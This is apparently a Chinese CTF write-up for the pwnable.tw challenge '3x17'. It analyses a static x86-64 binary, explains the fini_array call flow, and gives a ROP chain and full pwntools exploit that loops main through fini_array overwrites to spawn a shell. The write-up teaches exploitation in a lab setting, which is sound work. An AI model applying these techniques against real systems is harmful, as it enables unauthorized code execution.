pwnable.tw 3x17

0x00 前置知识

  • 函数调用流程
  • 栈迁移

0x10 程序分析

程序属性:

3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
[*] '/home/f0und/pwnable.tw/3x17/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位静态链接文件,未开保护,去符号表的程序

根据字符串找到主处理程序:

__int64 __fastcall sub_401B6D(__int64 a1, char *a2, __int64 a3) { __int64 result; // rax char *v4; // ST08_8 __int64 v5; // rcx unsigned __int64 v6; // rt1 char buf; // [rsp+10h] [rbp-20h] unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5uLL); sub_446E20(0, &buf, 0x18uLL); v4 = (char *)(signed int)sub_40EE70(&buf, &buf); sub_446EC0(1u, "data:", 5uLL); a2 = v4; a1 = 0LL; sub_446E20(0, v4, 0x18uLL); result = 0LL; } v6 = __readfsqword(0x28u); v5 = v6 ^ v8; if ( v6 != v8 ) sub_44A3E0(a1, a2, a3, v5); return result; }

从经验判断函数名:

__int64 __fastcall sub_401B6D(__int64 a1, char *a2, __int64 a3) { __int64 result; // rax int v4; // eax char *v5; // ST08_8 __int64 v6; // rcx unsigned __int64 v7; // rt1 char buf; // [rsp+10h] [rbp-20h] unsigned __int64 v9; // [rsp+28h] [rbp-8h] v9 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { write(1u, "addr:", 5uLL); read(0, &buf, 0x18uLL); atoi((__int64)&buf); v5 = (char *)v4; write(1u, "data:", 5uLL); a2 = v5; a1 = 0LL; read(0, v5, 0x18uLL); result = 0LL; } v7 = __readfsqword(0x28u); v6 = v7 ^ v9; if ( v7 != v9 ) sub_44A3E0(a1, a2, a3, v6); return result; }

并且可以看出其实他是开了栈溢出保护的,只是没有被识别出来

经过调试,我们发现这是一次任意地址写:

image-20210716140200686

查看函数的交叉引用发现:

image-20210716130430469

而一般64位程序为:

image-20210716131203452

而libc_start_main的调用流程:

v2-9a7034ec1672c8bf903ee373a87133df_1440w.jpg

  1. 启动线程
  2. fini函数和rtld_fini函数作为参数传递给at_exit调用,使它们在at_exit里被调用,从而完成用户程序和加载器的调用结束之后的清理工作
  3. 调用其init参数
  4. 调用main函数,并把argcargv参数、环境变量传递给它
  5. 调用exit函数,并将main函数的返回值传递给它

函数调用流程:_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->_fini_array[1]->_fini_array[0]

0x20 思路

由于我们只有一次任意地址写,且程序没有后门,并且程序为静态编译的,只能调用程序本身有的gadget,因此我们需要想办法让程序多执行几次来让我们可以拥有多几次任意写的机会

根据函数调用的流程_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->_fini_array[1]->_fini_array[0]

我们可以修改数组_fini_array[1] 使其指向main , _fini_array[0] 使其指向_fini 使程序流程为:_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->fini_array[1]->main->_fini_array[0]->_fini->_fini_array[1]->main->_fini->_fini_array[1]->main 构成循环

然后将我们的ROP链布置在fini_array+0x10,最后修改_fini_array 使用栈迁移回来,完成利用

image-20210716142947653

ROP链条:

/*execve("/bin/sh",0,0)*/
pop rax ret
0x3b
pop rdi ret
/bin/sh
pop rsi ret
0
pop rdx ret
0
syscall
leave ret
ret

0x000000000041e4af : pop rax ; ret
0x0000000000401696 : pop rdi ; ret
0x0000000000406c30 : pop rsi ; ret
0x0000000000446e35 : pop rdx ; ret
0x00000000004022b4 : syscall
leave_ret =  0x401c4b
0x0000000000401016 : ret

0x30 final exp

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./3x17" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) def change(addr,data): sh.sendafter("addr:",str(addr)) sh.sendafter("data:",p64(data)) def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: sh=remote(ip,port) # gdb.attach(sh,"b *0x401c4c") pop_rax = 0x000000000041e4af pop_rdi = 0x0000000000401696 pop_rsi = 0x0000000000406c30 pop_rdx = 0x0000000000446e35 syscall = 0x00000000004022b4 leave_ret = 0x401c4b ret = 0x0000000000401016 _fini_arry = 0x4B40F0 fini =0x402960 main_ret = 0x401B6D bss_addr = _fini_arry+0x10 bin_sh_addr = bss_addr+0x48 sh.sendafter("addr:",str(_fini_arry)) sh.sendafter("data:",p64(fini)+p64(main_ret)) change(bss_addr,pop_rax) change(bss_addr+0x8,0x3b) change(bss_addr+0x10,pop_rdi) change(bss_addr+0x18,bin_sh_addr) change(bss_addr+0x20,pop_rsi) change(bss_addr+0x28,0) change(bss_addr+0x30,pop_rdx) change(bss_addr+0x38,0) change(bss_addr+0x40,syscall) change(bss_addr+0x48,u64('/bin/sh\x00')) gdb.attach(sh,"b *0x00401BF8") sh.sendafter("addr:",str(_fini_arry)) sh.sendafter("data:",p64(leave_ret)+p64(ret)) sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",0,1) """ 0x000000000041e4af : pop rax ; ret 0x0000000000401696 : pop rdi ; ret 0x0000000000406c30 : pop rsi ; ret 0x0000000000446e35 : pop rdx ; ret 0x00000000004022b4 : syscall leave_ret = 0x401c4b 0x0000000000401016 : ret """